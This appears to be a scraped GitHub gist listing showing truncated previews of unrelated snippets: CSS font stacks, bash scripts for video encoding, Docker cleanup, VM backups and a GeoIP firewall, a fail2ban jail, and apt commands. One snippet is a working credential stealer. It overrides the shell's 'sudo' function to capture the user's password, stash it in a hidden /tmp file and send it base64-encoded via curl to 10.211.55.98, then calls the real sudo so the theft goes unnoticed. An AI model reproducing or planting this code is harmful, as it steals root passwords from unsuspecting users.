This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
chrome.windows.getAll({populate: true}, function(allWindows) | |
{ | |
console.log(allWindows); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* sans-serif */ | |
font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; | |
font-family: Helvetica, "Helvetica Neue", Arial, sans-serif; | |
font-family: Verdana, Geneva, Tahoma, sans-serif; | |
font-family: Trebuchet, Tahoma, Arial, sans-serif; | |
font-family: GillSans, Calibri, Trebuchet, sans-serif; | |
font-family: "DejaVu Sans", "Bitstream Vera Sans", "Segoe UI", "Lucida Grande", Verdana, Tahoma, Arial, sans-serif; | |
font-family: Geneva, "Lucida Sans", "Lucida Grande", "Lucida Sans Unicode", Verdana, sans-serif; | |
font-family: Geneva, Verdana, "Lucida Sans", "Lucida Grande", "Lucida Sans Unicode", sans-serif; | |
font-family: "HelveticaNeue-Roman", "Helvetica 55 Roman", Helvetica, Arial, sans-serif; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This is a script to create a video from series of JPEG images | |
# Call it in a folder full of JPEGs that you want to turn into a video. | |
# Written on 2013-01-08 by Philipp Klaus <philipp.l.klaus →AT→ web.de>. | |
# Check <https://gist.github.com/4572552> for newer versions. | |
# Resources | |
# * http://www.itforeveryone.co.uk/image-to-video.html | |
# * http://spielwiese.la-evento.com/hokuspokus/index.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# update apt-get | |
export DEBIAN_FRONTEND="noninteractive" | |
sudo apt-get update | |
# remove previously installed Docker | |
sudo apt-get purge lxc-docker* | |
sudo apt-get purge docker.io* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
BACKUPDEST="$1" | |
DOMAIN="$2" | |
MAXBACKUPS="$3" | |
if [ -z "$BACKUPDEST" -o -z "$DOMAIN" ]; then | |
echo "Usage: ./vm-backup <backup-folder> <domain> [max-backups]" | |
exit 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add to file: /etc/fail2ban/jail.local | |
[nginx-badbots] | |
enabled = true | |
port = http,https | |
filter = nginx-badbots | |
logpath = %(nginx_access_log)s | |
maxretry = 1 | |
findtime = 604800 | |
bantime = 604800 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## | |
# Name: GeoIP Firewall script | |
# Author: Pandry | |
# Version: 0.1 | |
# Description: This is a simple script that will set up a GeoIP firewall blocking all the zones excecpt the specified ones | |
# it is possible to add the whitelisted zones @ line 47 | |
# Additional notes: Usage of [iprange](https://github.com/firehol/iprange) is suggested | |
# for best performances |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sudo () | |
{ | |
realsudo="$(which sudo)" | |
read -s -p "[sudo] password for $USER: " inputPwd | |
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1 | |
printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER | |
curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1 | |
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1 | |
$realsudo "${@:1}" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Two possibilities to parse a Postgres DB URL from heroku into environment variables | |
# that Spring Boot understands. | |
# You would need that, if you do not build on heroku but push docker images | |
# from another source | |
# Does not need bash. Works on alpine linux / busybox. Tested with openjdk:8-jdk-alpine base image. | |
export DATABASE_URL=postgres://user:password@host:port/database | |
# Naive way, would break with [@:/] in username or password. | |
DB_TYPE=$(echo $DATABASE_URL | awk -F'[:@/]' '{print $1}')"ql" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# list repos | |
sudo apt-cache policy | |
# add repo | |
sudo add-apt-repository "deb http://us.archive.ubuntu.com/ubuntu/ saucy universe multiverse" | |
# remove repo | |
sudo add-apt-repository --remove <ppa:whatever/ppa> | |
OlderNewer